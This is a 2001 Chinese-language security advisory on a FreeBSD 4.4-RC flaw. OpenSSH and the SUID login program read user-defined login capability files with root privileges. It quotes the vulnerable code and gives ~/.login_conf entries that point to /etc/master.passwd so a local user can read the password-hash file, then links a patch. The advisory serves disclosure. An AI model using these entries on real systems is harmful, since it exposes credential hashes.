FreeBSD 4.4-RC中的OpenSSH存在漏洞发布时间:2001-09-21 更新时间:2001-09-21 严重程度:高 威胁程度:本地管理员权限 错误类型:设计错误 利用方式:服务器模式 受影响系统 FreeBSD 4.4-RC 和以前版本详细描述 来自FreeBSD 4.4-RC 和以前版本中OpenSSH在处理login程序时没有丢弃 权利,问题存在于session.c中: if (newcommand == NULL && !quiet_login && !options.use_login) { fname = login_getcapstr(lc, "copyright", NULL, NULL); if (fname != NULL && (f = fopen(fname, "r")) != NULL) { while (fgets(buf, sizeof(buf), f) != NULL) fputs(buf, stdout); fclose(f); 和 f = fopen(login_getcapstr(lc, "welcome", "/etc/motd", "/etc/motd"), "r"); [...] while (fgets(buf, sizeof(buf), f)) fputs(buf, stdout); fclose(f); 用户可以在~/.login_conf中定义如下来读取系统任意文件: default:\ :copyright=/etc/master.passwd: 或者 :welcome=/etc/master.passwd: 而login(1)是SUID程序并通过telnetd派生,也存在此问题: if (!rootlogin) auth_checknologin(lc); [...] (void)setegid(pwd->pw_gid); (void)seteuid(rootlogin ? 0 : pwd->pw_uid); 在检查nologin时候使用超级用户权利,auth_checklogin()是libutil函数用来 显示nologin文件,用户可以通过定义如下来读取系统任意文件: default:\ :nologin=/etc/master.passwd: 测试代码 见描述部分。 解决方案 使用补丁: http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/lib/libutil/login_cap.c ?rev=1.17.2.3&content-type=text/plain 4.4-REL版本将不存在此漏洞。 相关信息 Przemyslaw Frasunek (venglin@freebsd.lublin.pl) |